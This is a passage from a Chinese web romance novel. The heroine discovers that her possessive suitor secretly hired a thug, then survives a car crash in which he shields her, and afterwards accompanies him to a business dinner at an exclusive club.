岑尽白转身走向了阳台,关上了阳台的门,她能隐隐约约听见,但是听不清。 “你现在在哪?” 电话通了之后,岑方启口气很不好,带着火气问。 “你把那姑娘藏哪了?是不是在那个私生女那?” “爸,我说了,她不是私生女。”岑尽白说。 “我不管她是谁,方家的人现在在等着你,你来也得来,不来也得来,两家的事情,面子上也得过得去!” 岑方启不干涉岑尽白喜欢一个对家族没什么用的女人,但是和方家的事情已经说好了,要是黄了,必然得罪人。 岑尽白知道这些年岑氏一直在走下坡路,之前和方家算并驾齐驱,现在方家明显势头更猛。 岑方启不敢得罪。 岑尽白沉默了会儿,回道:“我要是去了,跟方家就彻底牵扯不清了。” 他躲掉了岑方启的咆哮,像是什么都没发生一样回到了房内。 舒颜已经吃完了面,抬起头静静地看向走进来的他。 岑尽白的心就这样漏了半拍。 “吃完了?” “你的面已经凉了。”舒颜说。 岑尽白垂眸,拉开椅子坐上去,说:“没事,还能吃。” 就着这样又凉又坨的面,岑尽白吃得面不改色。 “你今天不走吗?” 岑尽白:“昨天不是说了,今天陪你。” “谁想要你陪?”舒颜说得直白。 岑尽白没受影响,埋头吃,不回她。 舒颜不会因为他在就没了自己的生活节奏,进了卧室继续学习。 反正她现在出不去工作。 一直到将近中午,岑尽白都没有来打扰她,舒颜都以为他走了。 她跑去客厅看,发现岑尽白戴着口罩,好像要出门。 “冰箱里没菜了,我去买点。” 那就是还回来了。 舒颜回了一个哦。 岑尽白只露出一双蓝色的眼睛,忽然看着她问:“你去吗?” …… 岑尽白给舒颜也戴上了口罩,她觉得闷不想戴,岑尽白不容拒绝,非要让她戴。 舒颜还是被按着戴了口罩,很不开心地皱着眉:“为什么我也要戴?” 岑尽白给她理了理头发,蓝色的眸子像某种剔透的蓝色水晶:“最近流感比较严重。” 严重吗?新闻上没说啊。 岑尽白开车,舒颜坐在副驾驶座,车载香是清新的柠檬味,能缓解晕车。 车子开进一个热闹的街道,是舒颜用导航指挥着岑尽白来这的。 车子外面很多人,舒颜没看到有人戴口罩,只有他们两个戴口罩。 还没下车,岑尽白就表露自己不愿意在这样的地方买菜,想要离开。 “换一个地方吧。” 这里人来人往,空气中传递着叫卖声和讲价声,垃圾桶里烂掉的蔬菜都堆满了,溢出来的都堆在了地上,路过的人不小心踩了一脚,咒骂之后又继续走。 舒颜明知道岑尽白无法忍受这样的地方,还是来了。 她看着岑尽白紧皱的眉毛和眼里明白的嫌弃,心中觉得舒坦,说:“就这里吧,这里的蔬菜新鲜又便宜。” 岑尽白转头看着她,窥见她眼底隐藏的笑意,嘴巴不听从脑子,说了句行。 两人下了车,一个自如,一个挑剔,虽然都戴着口罩,但从穿着打扮来看都不像是普通人,尤其是男人。 路人来来往往,经常从两人中间穿过,将他们隔开,显得两人像是不认识一样。 岑尽白皱眉观察,伸手将舒颜拉到自己身边,攥紧她的手,过往的人再也冲不散他们。 舒颜刚准备去卖玉米的那里,就被一股力道拉回,装进一个怀抱,他身上的气息盖住这集市上混杂的气味。 与此同时,她看见了不远处一个卖沙糖桔的小摊子,叫卖的人正是昨天晚上看见的小混混。 她不动声色地收回目光,将岑尽白往那个卖玉米的摊子那拉。 卖玉米的是个老奶奶,见他们两个要买玉米,热切问:“要买玉米吗?大棚里种出来的甜玉米,炖汤蒸着吃都好吃。” 舒颜看着岑尽白说:“买点吧,我想吃。” 岑尽白点点头。 趁着老奶奶在剥玉米,舒颜忽然问:“奶奶,你知道这里哪有厕所吗?” 老奶奶手上忙着,眼神和下巴示意:“那边,进去那个小路,里面有公共厕所。” 舒颜松开岑尽白的手,“你在这等一下,我去上个厕所。” 岑尽白望着空荡的手:“我跟你一起去。” 老奶奶看着他们打趣:“女朋友上厕所也要跟着,小伙子粘人得哟!” 两人这样亲密的出行,被误会关系很正常,舒颜也没有去纠正老奶奶,冲她不好意思地笑了下。 老奶奶当作她在害羞。 舒颜牵住岑尽白放在外面冻红的手,然后将他的手放在他自己的兜里。 她好笑地看向他:“你怕我逃跑吗?” 岑尽白只觉得刚刚被她碰过的手泛起痒意,就像是他之前查过的冻疮。 她说,生了冻疮的手,在碰到温暖的环境后,会很痒很痒。 第49章 血越滴越多,盛满了她的手心 岑尽白顺从她的动作将手放在兜里。 “你在这等着奶奶将玉米剥完,我就是去上个厕所。” 岑尽白看着她,心中因为她这个笑变得涨涨的,轻声回道:“好。” 他看着她转身,背着他走了几步,就被人群淹没了。 然后收回目光。 老奶奶调侃他:“这么黏你女朋友,她应该很喜欢你吧。” 岑尽白听完此话低着头,过了一会儿回:“她不喜欢我。” 总是推开他。 老奶奶愣住,竟能感受到一个大男人的丧气。 她鼓励他:“那你对她好点,再爱她一点,对她好一点,女人都是心软的人。” 舒颜会对他心软吗? …… 舒颜走到小路的路口,往身后看一眼,就算岑尽白个子很高,人那么多,她也不知道哪个是他。 她站在这里停下,几秒后转了身。 “六子,今天又来帮你大伯卖沙糖桔啊?”卖甘蔗的男人跟旁边一个较为年轻的人聊天。 六子坐在一个躺椅上,脚撬在一个纸箱子上,显得有些无聊:“是啊,找不到工作,帮我大伯种地咯。” “哈哈哈,你是不是惹上什么人了,头上一个大窟窿现在还没好,是被人敲的吧?” 提起这个,小六瞬间就恼了,“去去去!别烦我,卖你的甘蔗去吧!” 一个女人的声音打断了二人的闲聊。 “你还认识我吗?” 清亮的女声,带着丝甜腻。 女人戴着口罩,那双漂亮的眼睛是盯着六子看的。 六子和旁边的男人打量了半晌,互相疑惑着对望。 舒颜这才想起自己戴着口罩,忙把口罩摘下来。 看见女人的脸,六子大惊,头上那被酒瓶子敲的窟窿又疼了起来。 “不认识,不认识,你找错人了。”六子忙把脸别过去,看起来心虚又慌乱。 上次就是因为她,被那个蓝眼睛的男人用酒瓶子敲了脑袋,现在想起来都是心惊胆战的。 旁边卖甘蔗的男人看清舒颜的长相后,眼中闪过惊艳,眼珠子转了一圈,对着六子说:“六子你艳福不浅啊,人家小姑娘都找上门来了。” 六子直接瞪他,“你他妈的别乱说!” 她男人可是个疯子! 舒颜看了一眼卖甘蔗的男人,男人摸了摸自己的鼻子,不再说话。 “你怎么那么怕我?”这是舒颜来找六子的主要原因。 六子只说:“大姐,之前是我对不起,你看看我这头,”六子将头伸出去给舒颜看,上面是面积不晓的结痂伤口,“我已经被教训过了,能不怕您吗!” 她记得,小混混走之前,头是好的,明与成*和岑尽白都没有敲他的头。 而小混混现在说他头上的伤是因为她。 “你头上的伤,是谁弄得?”舒颜问。 这时候有人过来要买沙糖桔,舒颜不想打扰到别人生意,站到一边。 六子给人称好后发现舒颜还在,有点崩溃。 “姑奶奶,你到底要怎样?!” 舒颜抿了抿唇,知道这样有些为难别人,但她就是觉得这件事哪里奇怪。 她说:“能不能耽误你几分钟,我想弄清楚一件事,弄清楚了我就走。” 六子无力地看了舒颜一会儿,转头对身边的男人说:“你先帮我看一会儿。” 他带着舒颜来到了一个人流量不多的路边,神色不耐又有些忌惮:“有什么事快说!我可不想再招惹你。” 天知道酒瓶子爆头有多疼,虽然拿到了一大笔钱。 “谁打的你”舒颜开门见山。 被女孩晶亮清澈的眼睛看着,六子有些烦躁地挠挠头,又发不起来火,“别问了,我不知道能不能说。” 他不想再被爆头。 “是和你打架的那个吗?”舒颜沉静问道。 和他打架的是明与成。 六子愣住,眼神闪躲,犹豫半晌,又立马着急回说:“对对对!就是他!” “撒谎!” “你要是再不告诉我,我就找人说你欺负了我。”舒颜忽然变得咄咄逼人。 狐假虎威这一套,她也是学会了,舒颜心想。 男人面容变得扭曲,像是想起什么,又恼又惧地看着她。 “别——别再让你那个外国佬男朋友发疯了!就是他妈的爆得我的头!我都按着他说的做了,谁知道哪做的不让他满意!” 舒颜抓住关键字眼:“他让你做什么了?” “你要是不说,他就在这附近,到时候他找过来,我想怎么说怎么说。” 六子嘴唇嗫喏半晌,不敢想竟然被一个柔柔弱弱的小女孩给震慑住了。 她冷静极了,步步紧逼。 他被她的“仗势欺人”吓到,像是被扎瘪了的气球,压下肩膀说:“是他,是他让我过去找你和那个男人的事的。” 舒颜后退半步。 是岑尽白雇人来打的明与成,后面他又跳出来,装作给他们解围的样子,分开后又回头将他雇来找事的人打一顿。 她越来越看不懂他了。 “你去了好久,怎么在这里?” 听见熟悉的声音,舒颜心脏悬了起来,呼吸停了一瞬。 六子瞬间变脸,像看见鬼一样,结结巴巴:“你……你……” 有一只手牵住了她,一寸寸将她包裹住,不留一丝缝隙。 “你在跟谁说话?” 他的手不知道是不是放在兜里的缘故,现在很暖。 舒颜任由他牵着,做不出什么表情,再抬头时,六子已经不见了踪影。 身后的人已经来到了身旁,轻而易举就能将她罩住,盖在他的身影下。 他的手里,拿着刚买好的玉米。 “你怎么来了?”舒颜低声问,眼神不看他,看着他们交握着的手。 她不知道岑尽白有没有认出刚刚的人。 “我看你一直没回来,就来找你。” 因为舒颜一直低着头,岑尽白看不清她的表情,轻轻捏住她的下巴,将她的脸抬起来。 舒颜的脸色不太好,有些苍白。 这让岑尽白皱起了眉。 “不是说了要戴上口罩?” 他看起来温柔说着这样的话,不带责怪,但是舒颜却感觉他的心情不是很好,带着焦躁。 舒颜的手在他的掌心动了动,说:“走了。” 她将口罩戴上。 “好。” 岑尽白没有再追问刚刚的事情,她也没有去质问他。 尽管岑尽白嫌弃这里,但他还是买了很多新鲜的蔬菜,舒颜喊他别买了,他不听。 “两个人吃,不够的。” 那他要在这吃几顿? 舒颜抬眼望他,用眼神问他。 岑尽白当没看见,笑着问:“要不要买些沙糖桔?” 他一定是知道她知道了,但是他还在装。 “岑尽白,你到底要装到什么时候?” 也不等他回答,舒颜转身走了,但是她能走到哪,她知道自己怎么都甩不开他。 岑尽白看着她略显决绝的背影,原本带着温柔眸光的眼睛变得有些冷。 不远处就停着岑尽白的车,舒颜在人群里站了一会儿,很没骨气地走到车子旁边,暗暗懊悔难受。 她就不该招惹他。 岑尽白手里提着家常的蔬菜,看起来像是沾了红尘的贵公子。 看见她乖乖站在车门旁,他口罩上的眼睛弯了弯,像是在庆幸。 车子远离闹市,行驶在车流量极少的柏油路上。 一片沉默。 “中午想吃什么?都是按你的口味买的食材。”岑尽白最先挑起话题。 至于他是怎么知道她的口味,不言而喻。 舒颜对此兴致缺缺,将脸扭到窗外。 车里开着暖气,外面的冷空气扑车窗上,模糊了车内人的视线。 真不知道这样的冬天,还要持续多久。 岑尽白似乎并不在意她的不回答,抿了抿唇,笑着说:“刚刚你走得太快,我都没来得及去给你买沙糖桔。你想吃吗?我看见你在那个摊子面前停了好久都没走,以为你想买沙糖桔……” 她闭上眼,复又睁开,车里的暖气熏得她眼底泛红。 她转过头:“岑尽白,你看见了还装什么?一句接着一句,是在提醒我你干的那些事吗?” 岑尽白扶着方向盘,开着车还转头看她:“不是,只是这样说你才会理我。” 他盯着她泛红的眼圈,看出她眼中的委屈,心中那种怪异的感觉又涌上来,抓不住也不知道怎么缓解,但是他知道源头在她,所以只能一遍遍在她身上试,可是她总是在烦他。 舒颜又不说话了,她是真的不想跟他说话,跟他在一起要打起精神,要提防着他哪句话是真的,哪句话是在套她,哪些表情是真的,哪些表情是为了骗取她可怜的同情心。 注意到她明显是针对他的再次沉默,岑尽白握紧手中的方向盘,仍旧笑着和她讨论今天中午到底吃什么。 “你他妈是不是有病!” 舒颜没说过脏话,这是第一次她对一个人这样。 而岑尽白只是静静地看向她,脸上的笑容不变,温柔说:“对,骂我也行,颜颜,你有什么不开心的,别憋着,打我骂我都行。” 他真的有病。 舒颜真想立即下车,跟他呆在一个空间让她觉得反胃,柠檬味的车载香也不管用了。 一阵干呕声在车内响起,但是舒颜什么都吐不出来。 岑尽白皱着眉看她:“怎么了?” 舒颜毫不遮掩:“犯恶心。” ,不知道岑尽白是如何解读她这三个字,脸上的温柔表情彻底不见了,唇角的弧度还僵着,蓝眸灰暗下来,表情变得阴冷。 干呕声停下来,舒颜抚着胸口平息。 岑尽白终于不再跟她说话,像是忽然哑巴了一样。 舒颜终于不再听让她生厌的声音。 舒颜没有注意到,车子虽然一直在平稳行进,但是速度却越来越快。 一道巨大的阴影朝着他们笼罩下来,不是笼罩她一个人,是整辆车。 与此同时,车子来了一个大转弯,但是侧面被撞击到,正是岑尽白的那边。 气囊弹出来,还没来得及反应什么,舒颜就被人从上方罩住。 接着是玻璃碎掉的声音,这声音持续了十几秒。 她闭上眼睛或者睁开眼睛,看到的都是黑暗,只能靠听觉猜测这是挡风玻璃碎掉的声音,还有上方传来男人的闷哼声。 震动和巨大的声响过后,是一阵带着耳鸣的安静。 湿热的液体滴在她的脖子上,有几滴正好滴在她的手心里。 这是什么? 冲人的汽油味和机械味中,混杂着血腥味,砰砰的心跳在这一刻被放大,她什么都看不见。 只听见:“颜颜,这是真的……” 现在是真的我。 趴在她身上的,是岑尽白。 血越滴越多,盛满了她的手心。 外面开始乱起来,她听见有人在大喊:“这里是XXX,出车祸了,快来救护车!!” “岑尽白!你别死啊……” 第50章 这世间,你要最喜欢我 岑尽白的耳边,是女人柔柔的哭泣声,他努力撑起身子,却因为剧烈的撞击脑子昏昏沉沉,只能伸出手,去攥住她的手,像是在告诉她自己没死。 救护车的声音响起,急匆匆的脚步声向着这边赶来。 “里面有两个人!” 他们敲了敲车门,大声问:“里面的人还好吗?” 舒颜听见自己发出带着哭腔的声音:“快救人,他,他流了好多血……” …… “小姑娘,这边建议你去做一个全身的检查,虽然你说你现在没事,但是车祸后可能对身体回有一些隐性的损伤,过一段时间就来不及了。”女医生对着一个坐在那里失神的小姑娘说。 舒颜身上没有丝毫损伤,只是精神仍然处于高度紧张中,怔怔地看着自己的手,明明已经洗干净了,可她仍然觉得上面还有血。 黏糊的、温热的,是岑尽白的血。 她猛然抬起头,瞪大了双眼看向女医生:“医生,刚刚跟我一起来的那个人,他怎么样?他会死吗?” 医生叹口气,尽量安慰着病人的情绪:“小姑娘,你的男朋友正在做一系列的检查,现在的情况还未可知,你不要着急。” 舒颜像是听懂了,又像是没听懂,点了点头,安静地坐在那里等。 女医生喊她去做检查,她也乖乖地去了。 等一切检查完之后,舒颜在医院的走廊那里站着,因为那个女医生跟她说,要是有岑尽白的消息,会立马到这里找她。 她乖乖地站在走廊那里,像是个没人认领的孩子,过往的人都会看她一眼。 等了不到半小时,那女医生就来找她了。 “你男朋友醒了,没什么事,在楼上的病房11X,正在找你呢。” “谢谢,谢谢。”舒颜弯腰道了谢,跑着上了楼,都忘记了还有电梯。 女医生站在原地摇摇头,感叹这是一对恩爱的情侣,男的愿意舍命相救,女的为男的失魂落魄。 …… 舒颜站在病房门口,手中攥紧了把手,心中思绪万千。 要是岑尽白真的有事怎么办?她是不是要赔上她的一辈子?她是不是一辈子都摆脱不了他? 她似乎忘了,医生已经跟她说过“没什么事”这四个字了。 她按下门把手,推门进去了。 岑尽白头上裹着白色的纱布,纱布上隐隐印出红色,平日里本就白到极致的脸更加惨白,正眯着蓝眸冲她笑着。 “我没事。” 舒颜看着他,一下子情绪如山洪,货车将要撞上来的那一幕涌上来,眼泪迸发,但是哭得没有声音,静静地看着岑尽白哭。 岑尽白竟还笑着,勾了勾手让她过去。 舒颜不动,他就要作势下床。 她回神,赶紧抹了抹眼泪,跑了过去。 刚到床边,就被人拉到怀里。 舒颜闻着熟悉的气息,眼泪根本止不住。 她带着哭腔问:“你有没有事啊?” 岑尽白安抚着她,顺着她的脊背,轻声笑着说:“我没事,这不是还在抱你。” 舒颜只哭了那么一小会儿,就不再哭了,从他怀里抬起头,欲言又止地看着他。 岑尽白饶有趣味地望着她,眼睛和嘴角都带着笑,一点不像刚经历过车祸的人。 她想问,他怎么就扑上来了?怎么就非要护着她?是不是想从她这里得到些什么? 她什么都没有。 但是后来又没问。 他擦了擦她脸上的泪水,跟以前一样温柔至极,在车上两人互相冷脸的行为就这样过去了。 岑尽白拉着她的手,又想抱抱她。 舒颜像是想起什么,看着他展开的手臂很犹豫。 明明她很讨厌他的。 岑尽白手臂张开许久她都没什么反应,脸上的温润笑意渐渐消失,失落感爬满了他的整张脸。 他扑过来护住她的那一幕又出现在眼前。 再反应过来的时候,他将要落下去的手臂环住了她的腰。 “颜颜,这世间,你不能讨厌我,你要最喜欢我。”岑尽白的嘴唇靠她的耳朵很近,她听得太清晰了。 以至于这句话在耳朵里弹出又进去,回音一般。 舒颜没有回答这句话,她的眼里全是纠结又痛苦的绝望。 这些,岑尽白看不见。 …… 是一辆大货车将要撞上岑尽白的车,岑尽白急转弯撞上了一个高高的路拦,挡风玻璃却被一个歪道的铁柱戳破。 舒颜被岑尽白护住,那些玻璃渣,全落在了岑尽白身上,她一点没被扎到。 幸好货车也及时停下,没有撞上岑尽白的车,但是挡风玻璃破碎,蹦出来的玻璃渣,划伤了岑尽白的头。 为了不让舒颜被玻璃划伤,他直接扑了上去,脑袋因为骤然停下磕到了车子前的台面,造成了轻微的脑震荡。 万幸,并没有任何的性命之忧。 但是两人都做了全方面的检查,来确定车祸有没有给他们的身体带来隐性的损伤。 …… 他们是临近中午发生了车祸,车子已经被托运走了,做完身体检查后,已经是下午了。 岑尽白坚持要出院,他说他受不了医院的味道,且自己只是轻微的脑震荡,休息一下就好。 听他这样说,医生只能叹口气。 像是遇见一个不听话的孩子。 只能再三嘱咐他多注意休息,避免剧烈运动。 …… “走吧,我们回家。”说出这句话的时候,岑尽白都愣了一下。 回家?回什么家? 但是舒颜没注意这些,她现在的反应还是有些慢半拍,不然也不会在医生嘱咐她一定要提醒自己的男朋友多注意休息的时候,一直都没有反驳。 现在也是。 “你还要去我那里吗?” 他现在受伤了,不应该回自己家好好修养。 岑尽白揉了揉她的头:“你不想我去吗?可是我想跟你在一起。” 又说:“幸好你没受伤。” 舒颜躲开她的手,不说话。 他受伤,她没受伤。如果不是他扑上来,那玻璃渣扎到她哪里还不知道呢。 窥见舒颜愧疚又为难的神情,岑尽白在她看不见的地方勾了勾唇。 然后牵住了她的手。 深情地看着他:“我爸妈都不会管我的,我只有你……” “白白!” 这一声让两人都回头。 秋月苓踩着细高跟,穿着黑色皮草走过来,面上全是担忧。 这是舒颜离开别墅后,再次见到岑尽白的母亲。 “阿姨……”舒颜下意识松开了岑尽白的手。 秋月苓像是来不及注意到舒颜,直奔岑尽白,往儿子怀里扑,看见岑尽白头上的纱布眼中含泪,心疼不已。 舒颜默默退到一旁。 “怎么回事,怎么弄成这个样子?”秋月苓着急忙慌地注意着儿子的全身上下,哭个不停。 岑尽白倒是冷静,看了眼站远了的舒颜,拉开与秋月苓的距离。 “妈,我没事。” 正在哭着的秋月苓听见岑尽白敷衍的安慰,抬起头来,声调高扬:“没事?怎么没事?!你要是有事我跟你爸怎么办?你可是我们岑家唯一的孩子了……” “怎么就那么傻?什么人值得让你替她开车?她怎么配——” “好了。”岑尽白对于母亲的关心,显得很冷淡。 秋月苓将未尽的话语止住。 手臂被人拽住,舒颜踉跄一下拉近了和岑尽白的距离,撞在他的身上。 秋月苓的脸色变了变,像是刚注意到舒颜的存在,顺了顺自己的长发,取出包里的绢帕小心地沾了下眼角的泪,像是害怕弄花自己的眼妆。 “颜颜是你啊,你怎么在这里?”她的语气略显惊讶。 秋月苓笑得和之前在别墅时一样,但舒颜总觉得,她看她时像带着一根软刺,态度明显变得不一样了。 岑尽白冷笑一声。 “阿姨,好久不见,我……”舒颜礼貌笑着想着回答,但是她无法解释自己和岑尽白的关系。 一旁的岑尽白揽住她,截住她的话:“妈,我们先走了。” “白白,你伤还没好,你去哪?”秋月苓面上是对孩子的担心,似乎想阻拦。 岑尽白的胳膊并没有全部在她的身上,但是舒颜还是被压得闭上了眼睛。 还是这样不清不楚。 她在在乎什么? 秋月苓像是根本不在乎他们是什么关系,只是关心一下自己的儿子。 她的阻拦,也只是言语上的。 不知道岑尽白何时通知的Zero,等舒颜反应过来,已经被岑尽白拥着坐上了车。 Zero看见岑尽白头上的伤,有些惊讶的捂嘴:“老师,你没事吧?” “没事。” …… 这边的秋月苓也坐上了车。 完全不似刚刚的慈母模样,笑容讽刺,带着隐隐约约的法令纹,昭示着她并不年轻了。 但她容貌仍旧艳丽,和她的姐姐一样。 她冷笑一声,眼神讥讽又轻佻:儿子喜欢她又如何,看起来唯唯诺诺,上不得台面,怪不得方启让岑尽白娶方芝。 想起岑方启,她神色又变得阴郁起来,心中的愤恨如洪水般想要泻出来,但是没用了,姐姐已经死了。 她最了解岑方启这个人,有情又无情,最爱她姐姐,却害得姐姐一尸两命。 被她迷惑? 倘若不是他有意纵容,她怎么可能趁虚而入? 岑方启不过是个重利的人。她跟他一样,重利也重情,爱他更爱自己。 未来的岑氏,一定要在她儿子手里,在她手里。 “司机,开车,追上刚刚那辆黑色卡宴。” 秋月苓的嘴角仍旧挂着笑意,像是想到了什么,又像是纯粹的开心。 …… Zero一直追问着岑尽白的伤究竟是怎么回事,但是岑尽白没鸟她,还是舒颜回她说是不小心出了车祸。 “车祸?!那你们——”Zero着急想扭头看两个人。 但是舒颜看到他这个动作就觉得危险,车祸发生后她仍旧心有余悸。 忍不住劝Zero:“你专心开车,别回头。” Zero只好盯着后视镜,点头说着好好好。 岑尽白自从上了车,就像是很累一样,一只手搭在额头上,依靠着座椅闭目,不知道在想些什么,一只手抓着舒颜的手,一刻也不放她手的自由。 要是以车祸之前的心态,舒颜可能早就不惯着他,将手缩回来了,但是现在她心中有小人在拉扯,愧疚的那一方暂时取胜,让她暂且由着岑尽白。 Zero本来在后视镜中是看岑尽白和舒颜两人的,但是忽然瞥见后面还有一辆车正在跟着。 他们走的路是通往老城区的,路段上车很少。 Zero观察了一会儿,他转弯那车子也转弯,并且一直保持着一定的距离。 “老师,后面有车子在跟着我们。”Zero已经确定了。 岑尽白立即睁开了眼,将额头上的手拿下,舒颜感觉到抓自己手的人忽然用力。 “不要加速。”岑尽白说,意思就是不要打草惊蛇。 “不要往老城区的方向,去与隔壁市区的交界处。” 岑尽白的声音冷静,丝毫不见刚刚的倦怠。 舒颜听到被跟了觉得不可思议,这是踏进了哪场豪门恩怨中? 她回头看,发现真的有一辆车在跟着他们。 心脏在今天遭受到的刺激已经够多的了,现在再经历被跟车的事情,舒颜反倒平静下来了。 “别紧张,没事的。”旁边的岑尽白开口。 舒颜转头就与他对视,他的手在她的手心里按摩着,不知道他按了哪里,舒颜觉得格外舒服。 岑尽白不知从哪里拿出男士手帕。 他蓝色的眼睛里带着安抚看向她,深邃无波,又带着若有似无的柔情,令人印象深刻。复而垂眸,将折叠好的手帕放在他们交握的手上,细细擦着她的掌心,连她掌纹的缝隙都不放过。 手心泛起的痒意不知道传到哪里,舒颜欲盖弥彰地收回手。 岑尽白没再跟她计较,跟前面的Zero说:“去鸣沙楼,先去吃饭,不用管后面的车。” 俩人中午就没吃饭,直到现在。 的确,等到他们下车,后面的车也停下了,停在了不远处,像是不敢跟上来。 岑尽白充满占有欲地将舒颜挽住,带着她走进了一座楼的大门。 Zero则去将车停好。 舒颜忍不住问:“那跟着我们的人怎么办?” 岑尽白低头看她,笑了笑:“没事,她什么都做不了的。” 不知为何,他就是这样肯定地说。 显得自负。 但是舒颜并没有去深究。 …… “夫人,还跟进去吗?”司机回头问。 秋月苓看着外面的高楼大厦,心中犯疑。 岑尽白怎么来了鸣沙楼?他来这里干什么? 这个地方,不是什么人都能进的,要提前至少半个月预约。 外面的灯红酒绿映照在秋月苓的半边脸上,另一边脸又是惨白,看起来像某种精怪。 她压下嘴角,只道:“回去。” …… “岑先生是吗?” 那人瞟了眼岑尽白头上的白纱布,还有些不确定。但是就算是头上受了伤,岑尽白仍旧不显狼狈,一身脱尘的气质,站在那里就是焦点。 舒颜挽着岑尽白的手臂,那个男人也给了她一个礼貌的问好笑容。 岑尽白点点头,说:“还有一个人,等等再进去。” 男人堆着笑,却不显谄媚,“没事,我们顾总也是刚到,他说等岑先生等多久都是值得的。” 岑尽白并未对此作出回应。 舒颜完全不知道岑尽白要干什么,她现在也不便问。 没过几分钟,停完车后的Zero进来了。 他看起来似乎有些激动。 进来便像是立了大功一样说:“老师,我看到了,我看到了!” “跟着我们的那辆车里,居然是你妈妈!秋伯母!” 秋阿姨? 舒颜皱起眉,“她为什么要跟着我们?” Zero摇摇头,表示不清楚。 岑尽白倒是平静,像是早就知道,也不为他们两个解惑。 陌生男人看了看面前的三人,心中笑岑尽白怎么带那么多人,面上不显,伸出手作出“请”的姿势:“人到齐了,岑先生,我们顾总还在等着您。” 50-60 第51章 脸都被玩红了 男人将三人带到一个包间,然后说:“顾总就在里面,岑先生进去吧。” 接着对舒颜和Zero说:“若是这位小姐和先生觉得有些无聊,可以找我另外开一间房间。” 后面一句嘱咐就有些刻意了,暗示两人可能是多余的。 岑尽白看了一眼男人,男人立马低下头。 他说:“没事,就是一起吃顿饭,再开一桌会浪费,我想顾总也不会介意吧。” 男人笑了一下,说是。 三人一起进了包间,舒颜本来是跟在岑尽白后面的,但是进去包间的那一刻,她被拉到了他的身边,紧挨着他,两人的衣料互相摩擦。 这是舒颜少见地没有抗拒他的亲密。 是因为这样更加有安全感。 而Zero跟在身后,看着他们的亲密,眼神看向包间内,摸了摸脖子。 包厢内飘着烟味,不过很淡,沙发上,本坐着一个男人,察觉到他们进来,站起来了身。 衬衫西裤,宽肩窄腰,身高和岑尽白差不多高,镜片后面是一双薄情的桃花眼,看过来的眼神寡淡,斯文中又带着不易察觉的野性。 是个极其英俊的中国男人,样貌气场丝毫不逊色于岑尽白。 “Dylan,还是岑先生?”声线干净,带着点成年男人的磁性。 顾野藤目光掠过舒颜和Zero,又看了眼他头上包着的纱布,挑了挑眉,没说什么。 岑尽白主动和顾野藤握手:“在中国,就入乡随俗吧。” “嗯。”顾野藤又随口问,“岑先生的头怎么了?” 语气并不是很关心,像是礼貌询问。 岑尽白长话短说:“车子出了点小事故。” 这句话让顾野藤的眼神变得意味不明。 岑尽白装没看见 四人一起入座,主坐空着。 面前是珍馐美味,舒颜却只夹最近的,小口吃着。 其实从中午到现在都没吃饭,是很饿的,但是在这样的环境,还是有些拘谨。 旁边的Zero戳了戳她:“嗳,你认识吗?” 他指的是那个戴着眼镜的男人,姓顾。 舒颜当然不认识,时不时地偷瞄,但会撞上岑尽白的视线,几次之后就不再看了。 “他是美国一个大富亨的儿子,叫顾野藤,不过是前几年认的养子,很受那个大富亨的喜欢。” “那个大富亨没孩子,早年资助他,非常喜欢他,听说是将他作为继承人培养的。” 舒颜点点头,又问:“那他在美国混那么好,干嘛回国啊?” Zero咬着筷子想了想,“我也不知道,对哦,在美国明明可以发展得更好,怎么就回国了?” “吃饭时别说话,你不是饿了?” 盘子里出现一块色泽通透的鹅块,夹菜的人明明在跟顾野藤聊天,还有闲心顾得上她。 舒颜将头从Zero那里挪过来,吃下他夹的鹅块。 岑尽白不易察觉地笑了下,继续和身边的顾野藤聊天。 顾野藤眼神好,捕捉到岑尽白的这些微表情,神情微妙地看着他。 岑尽白任由他看。 晚饭后,整座包厢都弥漫着有些怪异的氛围,连神经大条的Zero都察觉到了。 因为两个气场强大的男人在饭桌上结束了无意义的闲聊之后,陷入了沉默。 顾野藤坐在一个单人沙发上,翘着二郎腿,啧了一声,似乎有些不满。 与这里磁场不合的舒颜和Zero,瞬间肌肉紧绷。 岑尽白玩着舒颜的手,像是没听到。 顾野藤瞅了岑尽白一眼,心中腹诽。 “岑先生,我回国可是拿着十分的诚意来见你,你现在却让我张口都张不了,是什么意思?” 岑尽白玩舒颜手的动作顿了顿,然后继续。 舒颜的脸都被他玩红了,他还搁这若无其事。 “你先跟Zero去其他包间,等我一下。”岑尽白若无其人地和舒颜说着话。 舒颜耳朵红彤彤,看着像是被人掐的一样,点了点头,抽出自己的手。 顾野藤将脸看向别处,等着岑尽白自己处理好。 Zero和舒颜如临大赦,跟着刚刚引他们进来的那个男人去了另外一个包间。 “岑先生,这就是你不愿意回美国的原因吗?” 另外两人走后,顾野藤直接开始问。 “这是我的私事,顾总还是别过多过问。” 顾野藤冷哼一声,表示自己并不是很好奇。 “那就来谈谈公事吧。” …… 舒颜和Zero没进去另一个包间,而是选择到处逛逛。 这是Zero提议的,舒颜并没有反对,因为她也想看看这里与其他地方究竟有哪里不一样。 阿奇,也就是顾野藤带来的人,对此表示可以,但是他特别嘱咐了Zero一定要照看好舒颜。 毕竟他可是看出来岑尽白对这位看得很重。 他们在这个私人会所找到了一片休息的公共区域,然后坐下。 “你们在国外也经常去这样的地方吗?”舒颜问。 “我和老师都是泡在画室里的人,哪能经常去这种地方。” 那可能在这里不适应的只有她一个人吧。 “一直泡在画室,岑尽白是怎么认识顾野藤的。”顾野藤又不画画。 Zero问旁边的侍从要了一杯冰可乐,咬着吸管喝起来,像个大男孩。 “打枪认识的吧,老师很喜欢去射击场,他应该经常跟顾野藤约着去打猎。” “那不是有枪?”舒颜的语气有些兴奋,她还从来没有碰过枪。 “老师在美国有一把狙击步枪,漂亮极了,可宝贝了,都不愿意让我碰一下。” 舒颜鼓着腮帮子,听得有些认真。 在Zero口中,岑尽白是个喜欢玩各种极限运动的人,射击、跳伞、冲浪、滑雪…… “那次滑雪遇见雪崩,我以为自己死定了,结果老师半路冲出来抱住我,他滑得可快了!”讲到这,Zero手舞足蹈,眼眶甚至有些红,可见他的激动。 “雪崩的速度差点就赶上他滑的速度,他将我抛了出去,一大坨雪砸下来,他一点不带怕的,直接顺着一个陡坡滑了下去,我以为他被雪淹了,当时都哭了,结果我趴下去看,他站在陡坡下,身边是比他高的雪堆,正往上看着我。” “那一刻,老师就是我的神!” Zero是个感性的人,如今再提起九死一生的事,还是哭了。 舒颜沉默半晌,想要将Zero口中的岑尽白与她印象中的进行合成。 雪崩时将Zero抛出去的岑尽白,车撞上铁栏倾身护住她的岑尽白。 不久才发现Zero正在擦眼泪,找不到纸巾,她站起来想找人借,没成想看到一个意想不到的人,呆在了那里。 